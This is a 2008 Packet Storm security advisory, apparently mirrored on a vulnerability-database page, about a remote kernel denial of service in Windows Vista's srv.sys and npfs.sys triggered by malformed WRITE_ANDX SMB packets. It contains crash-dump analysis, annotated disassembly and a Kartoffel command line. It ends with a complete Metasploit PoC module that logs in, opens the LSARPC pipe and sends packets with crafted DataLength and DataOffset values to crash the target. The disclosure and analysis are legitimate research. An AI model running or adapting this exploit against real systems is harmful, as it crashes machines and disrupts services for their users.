Lucene search
+L

mswritesmb-dos.txt

🗓️ 15 Sep 2008 00:00:00Reported by Javier Vicente VallejoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Windows Vista srv.sys Remote Kernel Denial of Service Vulnerabilit

Code
`Some days ago i have discovered a DoS in Windows Vista. Here is the advisory with a detailed description about the vulnerability that will help to Microsoft (they have been already notified about the bug) to correct it as soon as possible, and it will help you if you need to add any rule for your firewall.  
  
Vulnerability and Exploit: Javier Vicente Vallejo, http://www.vallejo.cc  
Vulnerability Analysis: Ruben Santamarta, http://www.reversemode.com  
  
Abstract  
  
Microsoft Windows is prone to a remote Kernel Denial of Service due to the way srv.sys handles malformed WRITE_ANDX SMB packets.   
  
Remote attackers could exploit this issue without having valid credentials on the target machine. In order to achieve a successful exploitation, the attacker needs enough privileges to remotely send WRITE_ANDX packets to an interface that uses a Named Pipe as endpoint. Those interfaces that allow NULL Sessions vary between Windows versions, in Vista the reliability of a preauth attack through the “\LSARPC” has been successfully demonstrated.   
  
Affected versions  
  
Theorically verified on: Windows 2000, XP, Server 2003, Vista, Server 2008.  
Successfully exploited on: Microsoft Windows Vista SP1 with latest security updates.   
  
  
Analysis  
  
A condition exists with srv.sys and npfs.sys wherein a specially crafted WRITE_ANDX SMB (http://msdn.microsoft.com/en-us/library/aa302278.aspx) packet may cause a kernel Denial Of Service.  
  
  
1: kd> !analyze -v  
*******************************************************************************  
* *  
* Bugcheck Analysis *  
* *  
*******************************************************************************  
  
PAGE_FAULT_IN_NONPAGED_AREA (50)  
Invalid system memory was referenced. This cannot be protected by try-except,  
it must be protected by a Probe. Typically the address is just plain bad or it  
is pointing at freed memory.  
Arguments:  
Arg1: 92bc0000, memory referenced.  
Arg2: 00000000, value 0 = read operation, 1 = write operation.  
Arg3: 81c834b3, If non-zero, the instruction address which referenced the bad memory  
address.  
Arg4: 00000000, (reserved)  
  
Debugging Details:  
------------------  
  
  
READ_ADDRESS: 92bc0000 Nonpaged pool  
  
FAULTING_IP:   
nt!memcpy+33  
81c834b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
  
MM_INTERNAL_CODE: 0  
  
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT  
  
BUGCHECK_STR: 0x50  
  
PROCESS_NAME: System  
  
CURRENT_IRQL: 0  
  
TRAP_FRAME: 90126b40 -- (.trap 0xffffffff90126b40)  
ErrCode = 00000000  
eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98  
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0 nv up ei pl nz ac po nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212  
nt!memcpy+0x33:  
81c834b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????  
Resetting default scope  
  
LAST_CONTROL_TRANSFER: from 81cd86df to 81c81720  
  
STACK_TEXT:   
901266b4 81cd86df 00000003 9012dc44 00000000 nt!RtlpBreakWithStatusInstruction  
90126704 81cd914c 00000003 00000000 8c3236b0 nt!KiBugCheckDebugBreak+0x1c  
90126ab0 81ca9df2 00000050 92bc0000 00000000 nt!KeBugCheck2+0x5f4  
90126b28 81c8fa34 00000000 92bc0000 00000000 nt!MmAccessFault+0x106  
90126b28 81c834b3 00000000 92bc0000 00000000 nt!KiTrap0E+0xdc  
90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33  
90126c04 87261f32 952ad314 00000001 92bbfecf Npfs!NpWriteDataQueue+0xf6  
90126c58 8726289d 839f3c40 00000001 90126c70 Npfs!NpInternalWrite+0x124  
90126c7c 872628e7 839f3c40 92baf9a8 0000ffff Npfs!NpCommonFileSystemControl+0x17b  
90126c94 81c27fae 839f3c40 92baf9a8 92baf008 Npfs!NpFsdFileSystemControl+0x19  
90126cac 901736d0 90827482 9016562c 92baf008 nt!IofCallDriver+0x63  
90126d30 9015a39b 83a01dd8 83a01da0 92baf010 srv!SrvSmbWriteAndX+0x9a1  
90126d54 9016be8d 00000000 8c3236b0 00000000 srv!SrvProcessSmb+0x151  
90126d7c 81e25472 00a01da0 9012d680 00000000 srv!WorkerThread+0x12c  
90126dc0 81c9141e 9016bd61 83a01da0 00000000 nt!PspSystemThreadStartup+0x9d  
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16  
  
  
Srv.sys is the driver that will process the received SMB packet, once the packet is parsed it is routed through the proper driver. In this case, npfs.sys (named pipe filesystem driver). Npfs.sys handles named pipe requests. Below we can see how srv.sys parses some important fields of the packet:  
  
Módulo: srv.sys Vista SP1  
PAGE:00048583 movzx ecx, word ptr [ebx+17h] ; Packet. DataOffset  
PAGE:00048587 mov [ebp+var_50], ecx  
PAGE:0004858A mov eax, [esi+78h] ; Packet  
PAGE:0004858D add eax, ecx ; Packet.Data[]  
PAGE:0004858F mov [ebp+VirtualAddress], eax  
PAGE:00048592 mov eax, [esi+6Ch]  
PAGE:00048595 mov eax, [eax+10h]  
PAGE:00048598 sub eax, ecx ; Real packet len - DataOffset  
PAGE:0004859A movzx edi, word ptr [ebx+15h] ; Packet.DataLen  
PAGE:0004859E cmp edi, eax  
PAGE:000485A0 jb short loc_485A4  
PAGE:000485A2 mov edi, eax  
  
In this part of the code, the driver should add a check to avoid to continue if the offsets are not in concordance to the real size of the packet. Later on, srv.sys builds (or reuses) an FILESYSTE_CONTROL IRP (0xD), whose IOCTL is 0x119FF8 ( FSCTL_PIPE_INTERNAL_WRITE, METHOD_BUFFERED), then it sends this IRP to the proper driver by using a call to IofCallDriver. This IRP contains the packet, however it does not mean that the IRP keeps coherence, in terms of memory usage, with regards to the internal fields of the packet . It’s worth noting that the memory the IO Manager allocates for a METHOD_BUFFERED buffer is reserved from the NonPaged Pool area (It is a important fact to have in mind for a better understanding of the bug).  
  
Módulo: srv.sys Vista SP1  
PAGE:00048C90 push ebx ; int  
PAGE:00048C91 push ebx ; int  
PAGE:00048C92 push ebx ; int  
PAGE:00048C93 push ebx ; int  
PAGE:00048C94 push edi ; int  
PAGE:00048C95 push [ebp+VirtualAddress] ; int  
PAGE:00048C98 push 119FF8h ; int  
PAGE:00048C9D push 0Dh ; char  
PAGE:00048C9F push esi ; int  
PAGE:00048CA0 mov eax, [ebp+FileInformation]  
PAGE:00048CA3 push dword ptr [eax+38h] ; FileObject  
PAGE:00048CA6 push dword ptr [esi+80h] ; Irp  
PAGE:00048CAC call _SrvBuildIoControlRequest@44 ; SrvBuildIoControlRequest(x,x,x,x,x,x,x,x,x,x,x)  
  
PAGE:00048D23 mov edx, [esi+80h]  
PAGE:00048D29 mov ecx, [ebp+var_44]  
PAGE:00048D2C call ds:__imp_@IofCallDriver@8 ; IofCallDriver  
  
  
This IRP is processed by npfs!NpCommonFileSystemControl .  
  
Módulo: npfs.sys Vista SP1  
  
PAGE:0001885C loc_1885C: ; CODE XREF: NpCommonFileSystemControl(x,x)+E7 j  
PAGE:0001885C cmp eax, 119FF8h  
PAGE:00018861 jz short loc_18896  
  
PAGE:00018896 loc_18896: ; CODE XREF: NpCommonFileSystemControl(x,x)+139 j  
PAGE:00018896 lea eax, [ebp+var_C]  
PAGE:00018899 push eax  
PAGE:0001889A push edx  
PAGE:0001889B push [ebp+Irp]  
PAGE:0001889E call _NpInternalWrite@12 ; NpInternalWrite(x,x,x)  
  
Within this routine, we end up reaching npfs!NpWriteDataQueue where the bug could be triggered.  
  
Npfs gets an entry from a list that contains certain pending IRPs associated with the connection.  
  
Módulo: npfs.sys Vista SP1  
  
PAGE:0001A187 push esi  
PAGE:0001A188 push [ebp+arg_0]  
PAGE:0001A18B call _NpGetNextRealDataQueueEntry@8 ; NpGetNextRealDataQueueEntry(x,x)  
  
The driver performs a check on the retrieved entry. Due to this check, it is not possible to provoke an overflow within the memcpy call:  
  
Módulo: npfs.sys Vista SP1  
  
loc_1A1F6: ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+92 j  
  
PAGE:0001A1F6 mov ecx, [ebx] ; Packet.DataLen  
PAGE:0001A1F8 cmp ecx, edi ; Entry.BufferLen ( 0x400 )  
PAGE:0001A1FA jnb short loc_1A1FE  
PAGE:0001A1FC mov edi, ecx  
PAGE:0001A1FE  
PAGE:0001A1FE loc_1A1FE: ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+A0 j  
PAGE:0001A1FE cmp dword ptr [eax+10h], 1  
PAGE:0001A202 jz short loc_1A22D  
PAGE:0001A204 test edi, edi  
PAGE:0001A206 jbe short loc_1A22D  
PAGE:0001A208 push 5246704Eh ; Tag  
PAGE:0001A20D push edi ; NumberOfBytes  
PAGE:0001A20E push 0 ; PoolType  
PAGE:0001A210 call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)  
  
In other words, for any amount of bytes that memcpy may copy, the same amount of bytes will be dynamically allocated. Thus, we never force an overflow condition.  
  
Finally, below is the piece of code where the bug is triggered:  
  
PAGE:0001A23E push edi ; size_t  
PAGE:0001A23F mov eax, [ebp+arg_8] ; &Packet + Packet.DataOffset  
PAGE:0001A242 sub eax, [ebx] ; (&Packet + Packet.DataOffset) – Packet.DataLength  
PAGE:0001A244 add eax, [ebp+arg_C] ; &Packet + (Current)Packet.DataLength  
PAGE:0001A247 push eax ; void *   
PAGE:0001A248 push [ebp+P] ; void *  
PAGE:0001A24B call _memcpy  
  
The parameters of memcpy are calculated to read the data field of the SMB packet. The resulting address will be the “src” parameter for memcpy, as wen can see it could be pointing to undetermined memory. When the flaw occurs, this pointer holds an address beyond the end of the NonPaged pool’s buffers reserved by srv.sys. If this undetermined memory is not valid, the system will BugCheck , thus triggering a kernel level DoS. Other possibilities like arbitrary kernel memory disclosure has not been researched.  
  
  
The function that handles Non-Paged memory allocations in srv.sys is srv!SrvAllocateNonPagedPool. Every pool associated with srv.sys is tagged by using ‘LSxx’ tags.  
  
Every Windows version is theorically affected by the flaw, however due to the nature of the bug, it might be impossible to reproduce it in certain cases. It has been empirically proven that Microsoft Windows Vista SP1 is more prone to this vulnerability than other versions where the work contexts of srv.sys becomes large from the very beggining.  
  
Example:   
  
Vista SP1  
kd> !poolused 2  
Pool Used:  
NonPaged Paged  
Tag Allocs Used Allocs Used  
[ ]  
LSwi 1 16464 0 0 initial work context  
LSwn 4 33088 0 0 normal work context  
[ ]  
  
Remembering  
eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98  
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0 nv up ei pl nz ac po nc  
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212  
nt!memcpy+0x33:  
81c834b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????  
Resetting default scope  
  
1: kd> kv  
ChildEBP RetAddr Args to Child   
[ ]  
90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33  
[ ]  
  
1: kd> !pool 92bbfecf-($Packet.DataLength)  
Pool page 92bafed0 region is Nonpaged pool  
*92baf000 : large page allocation, Tag is LSwn, size is 0x2050 bytes  
Pooltag LSwn : normal work context  
  
We demonstrate that the flaw is indeed reproducible.  
  
1: kd> !pte 92bbfecf - ($Packet.DataLength)  
VA 92bafed0  
PDE at 00000000C06024A8 PTE at 00000000C0495D78  
contains 00000000030B8863 contains 0000000009A40963  
pfn 30b8 ---DA--KWEV pfn 9a40 -G-DA--KWEV  
  
1: kd> !pte 92bbfecf + ($Packet.DataLength)  
VA 92bcfece  
PDE at 00000000C06024A8 PTE at 00000000C0495E78  
contains 00000000030B8863 contains 0000325E00000000  
pfn 30b8 ---DA--KWEV not valid  
PageFile: 0  
Offset: 325e  
Protect: 0  
  
Dumping memory  
  
1: kd> db 92bbfecf - ($Packet.DataLength)  
92bafed0 ff 53 4d 42 2f 00 00 00-00 18 07 c8 00 00 cc cc .SMB/...........  
92bafee0 cc cc cc cc cc cc 00 00-00 08 dc 24 01 08 37 72 ...........$..7r  
  
1: kd> db 92bbfecf + ($Packet.DataLength)  
92bcfece ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
92bcfede ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
  
  
Thought the bug was not reproduced in this way (because it is related to how srv.sys handles its IRPs), if you are interested, you could debug some parts of this code: you can locally reproduce the way to reach to npfs!NpInternalWrite and npfs!NpWriteDataQueue by using Kartoffel (http://kartoffel.reversemode.com/):  
  
kartoffel -d \\.\pipe\lsass -n 0x20 -o 0 -z 0x101 -Z 0x0 -I 0x119ff8 –g -u ADDRESS,INVALID_ADDRESS  
  
Exploit  
  
Here is a PoC exploit module for metasploit that you could use to reproduce the crash:  
  
require 'msf/core'  
  
module Msf  
module Exploits  
module Test  
  
  
class BugTest < Msf::Exploit::Remote  
  
  
include Exploit::Remote::SMB  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'test exploit',  
'Description' =>   
"tests",  
'Author' => 'tests',  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 0 $',  
'Arch' => 'x86',  
'Payload' =>  
{  
'Space' => 1000  
},  
'Targets' =>   
[  
[  
'Windows VISTA',  
{  
'Platform' => 'win'  
}  
],  
],  
'DefaultTarget' => 0))  
end  
  
  
def subexploit(dlenlow, doffset,fillersize)  
  
print_line("1")  
  
datastore['SMBUser']='testuser'  
datastore['SMBPass']='testuser'  
datastore['SMBDomain']='COBAYA'  
datastore['SMBName']='COBAYA'   
  
print_line("2")  
  
connect()  
  
print_line("3")  
  
smb_login()  
  
print_line("4")  
  
pkt = CONST::SMB_CREATE_PKT.make_struct  
  
pkt['Payload']['SMB'].v['Flags1'] = 0x18  
pkt['Payload']['SMB'].v['Flags2'] = 0xc807  
  
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i  
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i  
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i  
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX  
  
pkt['Payload']['SMB'].v['WordCount'] = 24  
  
pkt['Payload'].v['AndX'] = 255  
pkt['Payload'].v['AndXOffset'] = 0xdede  
pkt['Payload'].v['FileNameLen'] = 14  
pkt['Payload'].v['CreateFlags'] = 0x16  
pkt['Payload'].v['AccessMask'] = 0x2019f # Maximum Allowed  
pkt['Payload'].v['ShareAccess'] = 7  
pkt['Payload'].v['CreateOptions'] = 0x400040  
pkt['Payload'].v['Impersonation'] = 2   
pkt['Payload'].v['Disposition'] = 1  
pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"  
  
  
simple.client.smb_send(pkt.to_s)  
  
print_line("5")  
  
ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)  
  
pkt = CONST::SMB_WRITE_PKT.make_struct  
  
data_offset = pkt.to_s.length - 4  
  
print_line("6")  
  
filler = Rex::Text.rand_text(fillersize)  
  
print_line("7")  
  
pkt['Payload']['SMB'].v['Signature1']=0xcccccccc  
pkt['Payload']['SMB'].v['Signature2']=0xcccccccc  
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i  
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i  
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i  
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX  
pkt['Payload']['SMB'].v['Flags1'] = 0x18  
pkt['Payload']['SMB'].v['Flags2'] = 0xc807  
pkt['Payload']['SMB'].v['WordCount'] = 14  
pkt['Payload'].v['AndX'] = 255  
pkt['Payload'].v['AndXOffset'] = 0xdede  
pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']  
pkt['Payload'].v['Offset'] = 0  
pkt['Payload'].v['Reserved2'] = -1  
pkt['Payload'].v['WriteMode'] = 8  
pkt['Payload'].v['Remaining'] = fillersize  
pkt['Payload'].v['DataLenHigh'] = 0  
pkt['Payload'].v['DataLenLow'] = dlenlow #<==================  
pkt['Payload'].v['DataOffset'] = doffset #<====  
pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====  
pkt['Payload'].v['ByteCount'] = fillersize#<====  
pkt['Payload'].v['Payload'] = filler  
  
print_line("8")  
  
simple.client.smb_send(pkt.to_s)  
  
print_line("9")  
  
end  
  
def exploit  
  
k=72  
j=0xffff  
while j>10000  
i=0xffff  
while i>10000  
begin  
print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")  
subexploit(i,j,k)  
rescue  
print_line("rescue")  
end  
i=i-10000  
end  
j=j-10000  
end  
  
end  
  
end  
  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation